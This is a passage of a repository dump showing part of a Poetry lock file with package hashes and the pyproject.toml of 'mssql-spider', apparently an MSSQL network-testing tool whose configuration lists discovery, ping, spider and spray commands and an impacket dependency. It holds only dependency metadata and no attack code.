"sha256:65132b7b4a1c0beded5e057324b7e16e10910c106d43675d9bd87d4f38dde162"}, 737 | {file = "pydantic_core-2.33.2-cp313-cp313-win32.whl", hash = "sha256:52fb90784e0a242bb96ec53f42196a17278855b0f31ac7c3cc6f5c1ec4811849"}, 738 | {file = "pydantic_core-2.33.2-cp313-cp313-win_amd64.whl", hash = "sha256:c083a3bdd5a93dfe480f1125926afcdbf2917ae714bdb80b36d34318b2bec5d9"}, 739 | {file = "pydantic_core-2.33.2-cp313-cp313-win_arm64.whl", hash = "sha256:e80b087132752f6b3d714f041ccf74403799d3b23a72722ea2e6ba2e892555b9"}, 740 | {file = "pydantic_core-2.33.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:61c18fba8e5e9db3ab908620af374db0ac1baa69f0f32df4f61ae23f15e586ac"}, 741 | {file = "pydantic_core-2.33.2-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:95237e53bb015f67b63c91af7518a62a8660376a6a0db19b89acc77a4d6199f5"}, 742 | {file = "pydantic_core-2.33.2-cp313-cp313t-win_amd64.whl", hash = "sha256:c2fc0a768ef76c15ab9238afa6da7f69895bb5d1ee83aeea2e3509af4472d0b9"}, 743 | {file = "pydantic_core-2.33.2-cp39-cp39-macosx_10_12_x86_64.whl", hash = "sha256:a2b911a5b90e0374d03813674bf0a5fbbb7741570dcd4b4e85a2e48d17def29d"}, 744 | {file = "pydantic_core-2.33.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:6fa6dfc3e4d1f734a34710f391ae822e0a8eb8559a85c6979e14e65ee6ba2954"}, 745 | {file = "pydantic_core-2.33.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c54c939ee22dc8e2d545da79fc5381f1c020d6d3141d3bd747eab59164dc89fb"}, 746 | {file = "pydantic_core-2.33.2-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:53a57d2ed685940a504248187d5685e49eb5eef0f696853647bf37c418c538f7"}, 747 | {file = "pydantic_core-2.33.2-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:09fb9dd6571aacd023fe6aaca316bd01cf60ab27240d7eb39ebd66a3a15293b4"}, 748 | {file = "pydantic_core-2.33.2-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0e6116757f7959a712db11f3e9c0a99ade00a5bbedae83cb801985aa154f071b"}, 749 | {file = "pydantic_core-2.33.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8d55ab81c57b8ff8548c3e4947f119551253f4e3787a7bbc0b6b3ca47498a9d3"}, 750 | {file = "pydantic_core-2.33.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c20c462aa4434b33a2661701b861604913f912254e441ab8d78d30485736115a"}, 751 | {file = "pydantic_core-2.33.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:44857c3227d3fb5e753d5fe4a3420d6376fa594b07b621e220cd93703fe21782"}, 752 | {file = "pydantic_core-2.33.2-cp39-cp39-musllinux_1_1_armv7l.whl", hash = "sha256:eb9b459ca4df0e5c87deb59d37377461a538852765293f9e6ee834f0435a93b9"}, 753 | {file = "pydantic_core-2.33.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:9fcd347d2cc5c23b06de6d3b7b8275be558a0c90549495c699e379a80bf8379e"}, 754 | {file = "pydantic_core-2.33.2-cp39-cp39-win32.whl", hash = "sha256:83aa99b1285bc8f038941ddf598501a86f1536789740991d7d8756e34f1e74d9"}, 755 | {file = "pydantic_core-2.33.2-cp39-cp39-win_amd64.whl", hash = "sha256:f481959862f57f29601ccced557cc2e817bce7533ab8e01a797a48b49c9692b3"}, 756 | {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:5c4aa4e82353f65e548c476b37e64189783aa5384903bfea4f41580f255fddfa"}, 757 | {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:d946c8bf0d5c24bf4fe333af284c59a19358aa3ec18cb3dc4370080da1e8ad29"}, 758 | {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:87b31b6846e361ef83fedb187bb5b4372d0da3f7e28d85415efa92d6125d6e6d"}, 759 | {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aa9d91b338f2df0508606f7009fde642391425189bba6d8c653afd80fd6bb64e"}, 760 | {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2058a32994f1fde4ca0480ab9d1e75a0e8c87c22b53a3ae66554f9af78f2fe8c"}, 761 | {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:0e03262ab796d986f978f79c943fc5f620381be7287148b8010b4097f79a39ec"}, 762 | {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:1a8695a8d00c73e50bff9dfda4d540b7dee29ff9b8053e38380426a85ef10052"}, 763 | {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:fa754d1850735a0b0e03bcffd9d4b4343eb417e47196e4485d9cca326073a42c"}, 764 | {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:a11c8d26a50bfab49002947d3d237abe4d9e4b5bdc8846a63537b6488e197808"}, 765 | {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:dd14041875d09cc0f9308e37a6f8b65f5585cf2598a53aa0123df8b129d481f8"}, 766 | {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:d87c561733f66531dced0da6e864f44ebf89a8fba55f31407b00c2f7f9449593"}, 767 | {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2f82865531efd18d6e07a04a17331af02cb7a651583c418df8266f17a63c6612"}, 768 | {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2bfb5112df54209d820d7bf9317c7a6c9025ea52e49f46b6a2060104bba37de7"}, 769 | {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:64632ff9d614e5eecfb495796ad51b0ed98c453e447a76bcbeeb69615079fc7e"}, 770 | {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:f889f7a40498cc077332c7ab6b4608d296d852182211787d4f3ee377aaae66e8"}, 771 | {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:de4b83bb311557e439b9e186f733f6c645b9417c84e2eb8203f3f820a4b988bf"}, 772 | {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:82f68293f055f51b51ea42fafc74b6aad03e70e191799430b90c13d643059ebb"}, 773 | {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:329467cecfb529c925cf2bbd4d60d2c509bc2fb52a20c1045bf09bb70971a9c1"}, 774 | {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:87acbfcf8e90ca885206e98359d7dca4bcbb35abdc0ff66672a293e1d7a19101"}, 775 | {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:7f92c15cd1e97d4b12acd1cc9004fa092578acfa57b67ad5e43a197175d01a64"}, 776 | {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d3f26877a748dc4251cfcfda9dfb5f13fcb034f5308388066bcfe9031b63ae7d"}, 777 | {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dac89aea9af8cd672fa7b510e7b8c33b0bba9a43186680550ccf23020f32d535"}, 778 | {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:970919794d126ba8645f3837ab6046fb4e72bbc057b3709144066204c19a455d"}, 779 | {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:3eb3fe62804e8f859c49ed20a8451342de53ed764150cb14ca71357c765dc2a6"}, 780 | {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:3abcd9392a36025e3bd55f9bd38d908bd17962cc49bc6da8e7e96285336e2bca"}, 781 | {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:3a1c81334778f9e3af2f8aeb7a960736e5cab1dfebfb26aabca09afd2906c039"}, 782 | {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:2807668ba86cb38c6817ad9bc66215ab8584d1d304030ce4f0887336f28a5e27"}, 783 | {file = "pydantic_core-2.33.2.tar.gz", hash = "sha256:7cb8bc3605c29176e1b105350d2e6474142d7c1bd1d9327c4a9bdb46bf827acc"}, 784 | ] 785 | 786 | [package.dependencies] 787 | typing-extensions = ">=4.6.0,<4.7.0 || >4.7.0" 788 | 789 | [[package]] 790 | name = "pygments" 791 | version = "2.18.0" 792 | description = "Pygments is a syntax highlighting package written in Python." 793 | optional = false 794 | python-versions = ">=3.8" 795 | groups = ["main"] 796 | files = [ 797 | {file = "pygments-2.18.0-py3-none-any.whl", hash = "sha256:b8e6aca0523f3ab76fee51799c488e38782ac06eafcf95e7ba832985c8e7b13a"}, 798 | {file = "pygments-2.18.0.tar.gz", hash = "sha256:786ff802f32e91311bff3889f6e9a86e81505fe99f2735bb6d60ae0c5004f199"}, 799 | ] 800 | 801 | [package.extras] 802 | windows-terminal = ["colorama (>=0.4.6)"] 803 | 804 | [[package]] 805 | name = "pyopenssl" 806 | version = "24.0.0" 807 | description = "Python wrapper module around the OpenSSL library" 808 | optional = false 809 | python-versions = ">=3.7" 810 | groups = ["main"] 811 | files = [ 812 | {file = "pyOpenSSL-24.0.0-py3-none-any.whl", hash = "sha256:ba07553fb6fd6a7a2259adb9b84e12302a9a8a75c44046e8bb5d3e5ee887e3c3"}, 813 | {file = "pyOpenSSL-24.0.0.tar.gz", hash = "sha256:6aa33039a93fffa4563e655b61d11364d01264be8ccb49906101e02a334530bf"}, 814 | ] 815 | 816 | [package.dependencies] 817 | cryptography = ">=41.0.5,<43" 818 | 819 | [package.extras] 820 | docs = ["sphinx (!=5.2.0,!=5.2.0.post0,!=7.2.5)", "sphinx-rtd-theme"] 821 | test = ["flaky", "pretend", "pytest (>=3.0.1)"] 822 | 823 | [[package]] 824 | name = "pyreadline3" 825 | version = "3.5.2" 826 | description = "A python implementation of GNU readline." 827 | optional = false 828 | python-versions = ">=3.8" 829 | groups = ["main"] 830 | markers = "sys_platform == \"win32\"" 831 | files = [ 832 | {file = "pyreadline3-3.5.2-py3-none-any.whl", hash = "sha256:a87d56791e2965b2b187e2ea33dcf664600842c997c0623c95cf8ef07db83de9"}, 833 | {file = "pyreadline3-3.5.2.tar.gz", hash = "sha256:ba82292e52c5a3bb256b291af0c40b457c1e8699cac9a873abbcaac8aef3a1bb"}, 834 | ] 835 | 836 | [package.extras] 837 | dev = ["build", "flake8", "pytest", "twine"] 838 | 839 | [[package]] 840 | name = "requests" 841 | version = "2.32.3" 842 | description = "Python HTTP for Humans." 843 | optional = false 844 | python-versions = ">=3.8" 845 | groups = ["main"] 846 | files = [ 847 | {file = "requests-2.32.3-py3-none-any.whl", hash = "sha256:70761cfe03c773ceb22aa2f671b4757976145175cdfca038c02654d061d6dcc6"}, 848 | {file = "requests-2.32.3.tar.gz", hash = "sha256:55365417734eb18255590a9ff9eb97e9e1da868d4ccd6402399eaf68af20a760"}, 849 | ] 850 | 851 | [package.dependencies] 852 | certifi = ">=2017.4.17" 853 | charset-normalizer = ">=2,<4" 854 | idna = ">=2.5,<4" 855 | urllib3 = ">=1.21.1,<3" 856 | 857 | [package.extras] 858 | socks = ["PySocks (>=1.5.6,!=1.5.7)"] 859 | use-chardet-on-py3 = ["chardet (>=3.0.2,<6)"] 860 | 861 | [[package]] 862 | name = "rich" 863 | version = "14.0.0" 864 | description = "Render rich text, tables, progress bars, syntax highlighting, markdown and more to the terminal" 865 | optional = false 866 | python-versions = ">=3.8.0" 867 | groups = ["main"] 868 | files = [ 869 | {file = "rich-14.0.0-py3-none-any.whl", hash = "sha256:1c9491e1951aac09caffd42f448ee3d04e58923ffe14993f6e83068dc395d7e0"}, 870 | {file = "rich-14.0.0.tar.gz", hash = "sha256:82f1bc23a6a21ebca4ae0c45af9bdbc492ed20231dcb63f297d6d1021a9d5725"}, 871 | ] 872 | 873 | [package.dependencies] 874 | markdown-it-py = ">=2.2.0" 875 | pygments = ">=2.13.0,<3.0.0" 876 | typing-extensions = {version = ">=4.0.0,<5.0", markers = "python_version < \"3.11\""} 877 | 878 | [package.extras] 879 | jupyter = ["ipywidgets (>=7.5.1,<9)"] 880 | 881 | [[package]] 882 | name = "setuptools" 883 | version = "75.1.0" 884 | description = "Easily download, build, install, upgrade, and uninstall Python packages" 885 | optional = false 886 | python-versions = ">=3.8" 887 | groups = ["main"] 888 | files = [ 889 | {file = "setuptools-75.1.0-py3-none-any.whl", hash = "sha256:35ab7fd3bcd95e6b7fd704e4a1539513edad446c097797f2985e0e4b960772f2"}, 890 | {file = "setuptools-75.1.0.tar.gz", hash = "sha256:d59a21b17a275fb872a9c3dae73963160ae079f1049ed956880cd7c09b120538"}, 891 | ] 892 | 893 | [package.extras] 894 | check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1) ; sys_platform != \"cygwin\"", "ruff (>=0.5.2) ; sys_platform != \"cygwin\""] 895 | core = ["importlib-metadata (>=6) ; python_version < \"3.10\"", "importlib-resources (>=5.10.2) ; python_version < \"3.9\"", "jaraco.collections", "jaraco.functools", "jaraco.text (>=3.7)", "more-itertools", "more-itertools (>=8.8)", "packaging", "packaging (>=24)", "platformdirs (>=2.6.2)", "tomli (>=2.0.1) ; python_version < \"3.11\"", "wheel (>=0.43.0)"] 896 | cover = ["pytest-cov"] 897 | doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "pygments-github-lexers (==0.0.5)", "pyproject-hooks (!=1.1)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-favicon", "sphinx-inline-tabs", "sphinx-lint", "sphinx-notfound-page (>=1,<2)", "sphinx-reredirects", "sphinxcontrib-towncrier", "towncrier (<24.7)"] 898 | enabler = ["pytest-enabler (>=2.2)"] 899 | test = ["build[virtualenv] (>=1.0.3)", "filelock (>=3.4.0)", "ini2toml[lite] (>=0.14)", "jaraco.develop (>=7.21) ; python_version >= \"3.9\" and sys_platform != \"cygwin\"", "jaraco.envs (>=2.2)", "jaraco.path (>=3.2.0)", "jaraco.test", "packaging (>=23.2)", "pip (>=19.1)", "pyproject-hooks (!=1.1)", "pytest (>=6,!=8.1.*)", "pytest-home (>=0.5)", "pytest-perf ; sys_platform != \"cygwin\"", "pytest-subprocess", "pytest-timeout", "pytest-xdist (>=3)", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel (>=0.44.0)"] 900 | type = ["importlib-metadata (>=7.0.2) ; python_version < \"3.10\"", "jaraco.develop (>=7.21) ; sys_platform != \"cygwin\"", "mypy (==1.11.*)", "pytest-mypy"] 901 | 902 | [[package]] 903 | name = "six" 904 | version = "1.16.0" 905 | description = "Python 2 and 3 compatibility utilities" 906 | optional = false 907 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*" 908 | groups = ["main"] 909 | files = [ 910 | {file = "six-1.16.0-py2.py3-none-any.whl", hash = "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254"}, 911 | {file = "six-1.16.0.tar.gz", hash = "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926"}, 912 | ] 913 | 914 | [[package]] 915 | name = "typing-extensions" 916 | version = "4.12.2" 917 | description = "Backported and Experimental Type Hints for Python 3.8+" 918 | optional = false 919 | python-versions = ">=3.8" 920 | groups = ["main"] 921 | files = [ 922 | {file = "typing_extensions-4.12.2-py3-none-any.whl", hash = "sha256:04e5ca0351e0f3f85c6853954072df659d0d13fac324d0072316b67d7794700d"}, 923 | {file = "typing_extensions-4.12.2.tar.gz", hash = "sha256:1a7ead55c7e559dd4dee8856e3a88b41225abfe1ce8df57b7c13915fe121ffb8"}, 924 | ] 925 | 926 | [[package]] 927 | name = "typing-inspection" 928 | version = "0.4.0" 929 | description = "Runtime typing introspection tools" 930 | optional = false 931 | python-versions = ">=3.9" 932 | groups = ["main"] 933 | files = [ 934 | {file = "typing_inspection-0.4.0-py3-none-any.whl", hash = "sha256:50e72559fcd2a6367a19f7a7e610e6afcb9fac940c650290eed893d61386832f"}, 935 | {file = "typing_inspection-0.4.0.tar.gz", hash = "sha256:9765c87de36671694a67904bf2c96e395be9c6439bb6c87b5142569dcdd65122"}, 936 | ] 937 | 938 | [package.dependencies] 939 | typing-extensions = ">=4.12.0" 940 | 941 | [[package]] 942 | name = "urllib3" 943 | version = "2.2.3" 944 | description = "HTTP library with thread-safe connection pooling, file post, and more." 945 | optional = false 946 | python-versions = ">=3.8" 947 | groups = ["main"] 948 | files = [ 949 | {file = "urllib3-2.2.3-py3-none-any.whl", hash = "sha256:ca899ca043dcb1bafa3e262d73aa25c465bfb49e0bd9dd5d59f1d0acba2f8fac"}, 950 | {file = "urllib3-2.2.3.tar.gz", hash = "sha256:e7d814a81dad81e6caf2ec9fdedb284ecc9c73076b62654547cc64ccdcae26e9"}, 951 | ] 952 | 953 | [package.extras] 954 | brotli = ["brotli (>=1.0.9) ; platform_python_implementation == \"CPython\"", "brotlicffi (>=0.8.0) ; platform_python_implementation != \"CPython\""] 955 | h2 = ["h2 (>=4,<5)"] 956 | socks = ["pysocks (>=1.5.6,!=1.5.7,<2.0)"] 957 | zstd = ["zstandard (>=0.18.0)"] 958 | 959 | [[package]] 960 | name = "werkzeug" 961 | version = "3.0.4" 962 | description = "The comprehensive WSGI web application library." 963 | optional = false 964 | python-versions = ">=3.8" 965 | groups = ["main"] 966 | files = [ 967 | {file = "werkzeug-3.0.4-py3-none-any.whl", hash = "sha256:02c9eb92b7d6c06f31a782811505d2157837cea66aaede3e217c7c27c039476c"}, 968 | {file = "werkzeug-3.0.4.tar.gz", hash = "sha256:34f2371506b250df4d4f84bfe7b0921e4762525762bbd936614909fe25cd7306"}, 969 | ] 970 | 971 | [package.dependencies] 972 | MarkupSafe = ">=2.1.1" 973 | 974 | [package.extras] 975 | watchdog = ["watchdog (>=2.3)"] 976 | 977 | [metadata] 978 | lock-version = "2.1" 979 | python-versions = "^3.10" 980 | content-hash = "a5f570c3ba4a4b3d1d21ca2abaf68db382b65fac6d82dff3d75bcf447a49c5ce" 981 | -------------------------------------------------------------------------------- /pyproject.toml: -------------------------------------------------------------------------------- 1 | [tool.poetry] 2 | name = "mssql-spider" 3 | version = "0.6.4" 4 | description = "" 5 | authors = ["dadevel "] 6 | license = "MIT" 7 | packages = [{include = "mssqlmap"}] 8 | 9 | [tool.poetry.scripts] 10 | mssql-discover = "mssqlmap.discover.main:main" 11 | mssql-ping = "mssqlmap.ping:main" 12 | mssql-spider = "mssqlmap.spider:main" 13 | mssql-spray = "mssqlmap.spray:main" 14 | 15 | [tool.poetry.dependencies] 16 | python = "^3.10" 17 | impacket = {git = "https://github.com/theporgs/impacket.git"} 18 | pydantic = "^2.11.5" 19 | requests = "^2.32.3" 20 | rich = "^14.0.0" 21 | 22 | [build-system] 23 | requires = ["poetry-core"] 24 | build-backend = "poetry.core.masonry.api" 25 | --------------------------------------------------------------------------------